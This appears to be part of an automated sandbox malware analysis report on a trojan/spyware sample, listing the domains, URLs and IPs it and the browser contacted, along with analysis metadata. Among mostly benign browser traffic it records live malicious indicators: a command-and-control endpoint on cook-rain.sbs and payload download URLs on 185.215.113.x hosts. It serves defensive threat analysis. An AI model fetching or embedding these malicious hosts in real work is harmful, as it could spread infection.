prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false	high
push.services.mozilla.com	34.107.243.93	true	false	high
www.google.com	172.217.21.36	true	false	high
telemetry-incoming.r53-2.services.mozilla.com	34.120.208.123	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
www.reddit.com	unknown	unknown	false	high
spocs.getpocket.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high
content-signature-2.cdn.mozilla.net	unknown	unknown	false	high
support.mozilla.org	unknown	unknown	false	high
firefox.settings.services.mozilla.com	unknown	unknown	false	high
www.youtube.com	unknown	unknown	false	high
www.facebook.com	unknown	unknown	false	high
detectportal.firefox.com	unknown	unknown	false	high
shavar.services.mozilla.com	unknown	unknown	false	high
www.wikipedia.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	false	high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	0db0ccc3ed.exe, 0000000D.00000003.2829313635.0000000005C0D000.00000004.00000800.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.2826907496.0000000005C0F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	false		high
https://support.mozilla.org/kb/website-translationPlease	firefox.exe, 0000001B.00000002.2958868459.00000177E8DE4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/api:	0db0ccc3ed.exe, 0000000D.00000003.2865334230.00000000016DF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/ac/?q=	0db0ccc3ed.exe, 0000000D.00000003.2829313635.0000000005C0D000.00000004.00000800.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.2826907496.0000000005C0F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l	firefox.exe, 0000001B.00000002.2991040987.00000177EC603000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.msn.comZ	firefox.exe, 0000001B.00000002.3097342995.000005C00DE00000.00000004.00000800.00020000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	false		high
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0db0ccc3ed.exe, 0000000D.00000003.2920033853.00000000016D8000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2991040987.00000177EC603000.00000004.00000800.00020000.00000000.sdmp	false		high
https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl	firefox.exe, 0000001B.00000003.2881469236.00000177F494C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2911291951.00000177F494B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2898410251.00000177F494B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2879801473.00000177F494D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2885968539.00000177F494B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records	firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp	false		high
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 0000001B.00000002.2958868459.00000177E8DE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2948268507.00000177DCAD8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect	firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	false		high
https://www.leboncoin.fr/	firefox.exe, 0000001B.00000002.3032485571.00000177EE567000.00000004.00000800.00020000.00000000.sdmp	false		high
https://spocs.getpocket.com/spocs	firefox.exe, 0000001B.00000002.2991040987.00000177EC603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2998387664.00000177ECDAE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill	firefox.exe, 0000001B.00000002.3058134291.00000177F0043000.00000004.00000800.00020000.00000000.sdmp	false		high
https://static.adsafeprotected.com/firefox-etp-pixelbrowser.engagement.session_time_excluding_suspen	firefox.exe, 0000001B.00000002.2958868459.00000177E8D03000.00000004.00000800.00020000.00000000.sdmp	false		high
https://screenshots.firefox.com	firefox.exe, 0000001B.00000002.2948268507.00000177DCA03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2958868459.00000177E8D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2984875873.00000177EAE0A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206Local	e01d8601b1.exe, 00000009.00000002.3139427650.0000000000B27000.00000040.00000001.01000000.0000000A.sdmp, e01d8601b1.exe, 00000009.00000002.3139427650.0000000000A75000.00000040.00000001.01000000.0000000A.sdmp, e01d8601b1.exe, 00000009.00000002.3139427650.0000000000A8F000.00000040.00000001.01000000.0000000A.sdmp, e01d8601b1.exe, 00000009.00000002.3139427650.0000000000A44000.00000040.00000001.01000000.0000000A.sdmp	false		high
https://completion.amazon.com/search/complete?q=	firefox.exe, 0000001B.00000002.3004177440.00000177ECF17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2801463049.00000177EC877000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report	firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	false		high
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 0000001B.00000002.2958868459.00000177E8D03000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.widevine.com/operationsRequiringRestartget	firefox.exe, 0000001B.00000002.2958868459.00000177E8D03000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab	firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	false		high
https://monitor.firefox.com/breach-details/	firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	false		high
https://github.com/w3c/csswg-drafts/issues/4650	firefox.exe, 0000001B.00000002.3063467191.00000177F0383000.00000004.00000800.00020000.00000000.sdmp	false		high
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	false		high
https://xhr.spec.whatwg.org/#sync-warning	firefox.exe, 0000001B.00000002.2957103100.00000177E8C11000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2957103100.00000177E8C2C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://screenshots.firefox.com//shims/google-publisher-tags.js	firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 0000001B.00000002.3006042088.00000177ECFD4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://profiler.firefox.com/	firefox.exe, 0000001B.00000002.2952707355.00000177E832D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.msn.com	firefox.exe, 0000001B.00000002.3097342995.000005C00DE00000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.tsn.ca9n	firefox.exe, 0000001B.00000002.3097342995.000005C00DE00000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://email.seznam.cz/newMessageScreen?mailto=%schrome://global/content/elements/videocontrols.js	firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mozilla-services/screenshots	firefox.exe, 0000001B.00000003.2801211468.00000177EC85A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2801463049.00000177EC877000.00000004.00000800.00020000.00000000.sdmp	false		high
https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881Whether	firefox.exe, 0000001B.00000002.2958868459.00000177E8D03000.00000004.00000800.00020000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v4/addons/addon/	firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def	firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tracking-protection-issues.herokuapp.com/new	firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report	firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	false		high
https://youtube.com/	firefox.exe, 0000001B.00000002.3052953874.00000177EFE66000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/apiHOME	0db0ccc3ed.exe, 00000008.00000002.2634276109.0000000001166000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 00000008.00000003.2633170416.0000000001166000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	0db0ccc3ed.exe, 0db0ccc3ed.exe, 0000000D.00000003.2998383115.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.2943309001.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.2977883824.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2991040987.00000177EC603000.00000004.00000800.00020000.00000000.sdmp	false		high
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing	firefox.exe, 0000001B.00000002.2957103100.00000177E8C11000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2957103100.00000177E8C2C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	false		high
https://api.accounts.firefox.com/v1	firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	false		high
https://ok.ru/	firefox.exe, 0000001B.00000002.2958868459.00000177E8DE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3039959076.00000177EEAB1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/	firefox.exe, 0000001B.00000002.3021764457.00000177EDB2B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3097342995.000005C00DE00000.00000004.00000800.00020000.00000000.sdmp	false		high
https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/	firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	false		high
https://fpn.firefox.com	firefox.exe, 0000001B.00000002.3103836214.00001CB66B500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2948268507.00000177DCA6B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.widevine.com/	firefox.exe, 0000001B.00000002.2958868459.00000177E8D03000.00000004.00000800.00020000.00000000.sdmp	false		high
https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections	firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	false		high
https://screenshots.firefox.comk0M	firefox.exe, 0000001B.00000002.2984875873.00000177EAE3E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0db0ccc3ed.exe, 0000000D.00000003.2829313635.0000000005C0D000.00000004.00000800.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.2826907496.0000000005C0F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	0db0ccc3ed.exe, 0db0ccc3ed.exe, 0000000D.00000003.2998383115.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.2943309001.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.2977883824.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2991040987.00000177EC603000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	0db0ccc3ed.exe, 0000000D.00000003.2890616977.0000000005C07000.00000004.00000800.00020000.00000000.sdmp	false		high
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	firefox.exe, 0000001B.00000002.2955455615.00000177E897D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2958868459.00000177E8D72000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	0db0ccc3ed.exe, 0000000D.00000003.2829313635.0000000005C0D000.00000004.00000800.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.2826907496.0000000005C0F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.youtube.com/	firefox.exe, 0000001B.00000002.3039959076.00000177EEAB1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield	firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exed4~	0db0ccc3ed.exe, 0000000D.00000003.3196186988.00000000016FC000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.3198134724.00000000016FD000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.3255098795.00000000016FC000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000002.3271789752.00000000016FC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 0000001B.00000002.2991040987.00000177EC603000.00000004.00000800.00020000.00000000.sdmp	false		high
http://127.0.0.1:	firefox.exe, 0000001B.00000002.3070463409.00000177F4763000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.2948268507.00000177DCA6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3002087331.00000177ECE96000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3008613619.00000177ED3E2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bugzilla.mo	firefox.exe, 0000001B.00000002.3036842521.00000177EE76A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs:443/api	0db0ccc3ed.exe, 0000000D.00000003.2977883824.0000000001658000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mitmdetection.services.mozilla.com/	firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	false		high
https://amazon.com	firefox.exe, 0000001B.00000002.2991040987.00000177EC603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3108270091.00003B1055F04000.00000004.00000800.00020000.00000000.sdmp	false		high
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 0000001B.00000002.2958868459.00000177E8D03000.00000004.00000800.00020000.00000000.sdmp	false		high
https://screenshots.firefox.combrowser.urlbar.suggest.topsitestestPermissionFromPrincipalnetwork.pro	firefox.exe, 0000001B.00000002.2958868459.00000177E8D03000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/off/def.exe	0db0ccc3ed.exe, 0000000D.00000003.3196186988.00000000016FC000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.3198134724.00000000016FD000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.3255098795.00000000016FC000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000002.3271789752.00000000016FC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture	firefox.exe, 0000001B.00000002.2957103100.00000177E8C2C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://spocs.getpocket.com/	firefox.exe, 0000001B.00000002.3063467191.00000177F0383000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2991040987.00000177EC603000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	0db0ccc3ed.exe, 0000000D.00000003.2837221746.0000000005BF6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://youtube.comk	firefox.exe, 0000001B.00000002.3101618206.000008571A800000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	false		high
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	false		high
https://ebay.comP	firefox.exe, 0000001B.00000002.3108270091.00003B1055F04000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.iqiyi.com/	firefox.exe, 0000001B.00000002.2958868459.00000177E8DE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3039959076.00000177EEAB1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r	firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	false		high
https://monitor.firefox.com/user/breach-stats?includeResolved=true	firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	false		high
https://www.amazon.com/Z	firefox.exe, 0000001B.00000002.3097342995.000005C00DE00000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	false		high
https://cook-rain.sbs/H	0db0ccc3ed.exe, 0000000D.00000003.2920452481.00000000016EC000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.2921483438.00000000016EC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	firefox.exe, 0000001B.00000002.3063467191.00000177F0383000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/C	0db0ccc3ed.exe, 0000000D.00000003.2889608789.00000000016DB000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.2889719285.00000000016EB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://a9.com/-/spec/opensearch/1.0/	firefox.exe, 0000001B.00000002.3032485571.00000177EE567000.00000004.00000800.00020000.00000000.sdmp	false		high
https://safebrowsing.google.com/safebrowsing/diagnostic?site=	firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	false		high
https://yandex.com	firefox.exe, 0000001B.00000002.3108270091.00003B1055F04000.00000004.00000800.00020000.00000000.sdmp	false		high
https://monitor.firefox.com/user/dashboard	firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	false		high
https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID	firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	false		high
https://cook-rain.sbs/6	0db0ccc3ed.exe, 0000000D.00000003.3196186988.00000000016FC000.00000004.00000020.00020000.00000000.sdmp, 0db0ccc3ed.exe, 0000000D.00000003.3198134724.00000000016FD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://monitor.firefox.com/about	firefox.exe, 0000001B.00000002.2988803440.00000177EB400000.00000002.08000000.00040000.00000000.sdmp	false		high
http://mozilla.org/MPL/2.0/.	firefox.exe, 0000001B.00000002.2991040987.00000177EC603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2914517271.00000177F4A22000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2992696524.00000177EC807000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2911201002.00000177F499D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3042638939.00000177EECA2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3072915751.00000177F48A0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2985808514.00000177EAF53000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3048220531.00000177EF470000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2811129834.00000177ECBFE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2917306690.00000177F4890000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2997489984.00000177ECBFA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3039959076.00000177EEAB1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2809616338.00000177ECBD7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.openh264.org/	firefox.exe, 0000001B.00000002.2958868459.00000177E8D03000.00000004.00000800.00020000.00000000.sdmp	false		high
http://youtube.com/	firefox.exe, 0000001B.00000002.3004177440.00000177ECF17000.00000004.00000800.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com	firefox.exe, 0000001B.00000002.3063467191.00000177F0333000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
172.67.155.248	cook-rain.sbs	United States	13335	CLOUDFLARENETUS	false
151.101.1.91	services.addons.mozilla.org	United States	54113	FASTLYUS	false
34.117.188.166	contile.services.mozilla.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
172.217.21.36	www.google.com	United States	15169	GOOGLEUS	false
34.120.208.123	telemetry-incoming.r53-2.services.mozilla.com	United States	15169	GOOGLEUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
34.149.100.209	prod.remote-settings.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
34.107.243.93	push.services.mozilla.com	United States	15169	GOOGLEUS	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
142.250.181.78	youtube.com	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false

Private

IP
192.168.2.4
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1560643
Start date and time:	2024-11-22 04:10:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 19m 39s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	54
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@105/40@106/19
EGA Information:	Successful, ratio: 14.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Max analysis timeout: 600s exceeded, the analysis took too long
Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.214.172, 192.229.221.95, 172.217.19.227, 74.125.205.84, 172.217.17.46, 52.182.143.212, 184.30.17.189, 172.217.19.238, 172.217.21.35, 2.20.41.214, 52.12.64.98, 35.80.238.59, 35.164.125.63, 172.217.17.42, 172.217.17.74, 172.217.17.78, 23.200.87.12, 23.200.86.251, 172.217.17.35, 20.42.73.31, 142.250.181.42, 142.250.181.138, 142.250.181.74, 172.217.19.170, 142.250.181.106, 172.217.19.234, 172.217.19.202, 172.217.21.42, 104.46.162.224, 23.32.238.130, 2.19.198.56, 13.74.129.1, 204.79.197.237, 13.107.21.237, 20.42.65.90, 20.42.73.30
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, clientservices.googleapis.com, browser.events.data.trafficmanager.net, aus5.mozilla.org, learn.microsoft.com, onedscolprdeus14.eastus.cloudapp.azure.com, e11290.dspg.akamaiedge.net, a19.dscg10.akamai.net, clients2.google.com, ocsp.digicert.com, onedsblobprdcus15.centralus.cloudapp.azure.com, login.live.com, star-azurefd-prod.trafficmanager.net, learn.microsoft.com.edgekey.net, update.googleapis.com, fs.microsoft.com, shavar.prod.mozaws.net, content-autofill.googleapis.com, c-bing-com.dual-a-0034.a-msedge.net, learn.microsoft.com.edgekey.net.globalredir.akadns.net, edgedl.me.gvt1.com, c.bing.com, blobcollector.events.data.trafficmanager.net, umwatson.events.data.microsoft.com, onedscolprdeus18.eastus.cloudapp.azure.com, clients.l.google.com, location.services.mozilla.com, ciscobinary.openh264.org, c-msn-com-nsatc.trafficmanager.net, incoming.telemetry.mozilla.org, a17.rackcdn.com.mdc.edgesuite.net, onedscolprdeus21.eastus.cloudapp.azure.
Execution Graph export aborted for target 0db0ccc3ed.exe, PID 5572 because there are no executed function
Execution Graph export aborted for target 0db0ccc3ed.exe, PID 8156 because there are no executed function
Execution Graph export aborted for target e01d8601b1.exe, PID 3736 because there are no executed function
Execution Graph export aborted for target file.exe, PID 1396 because it is empty
Execution Graph export aborted for target skotes.exe, PID 5856 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 6764 because there are no executed function
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
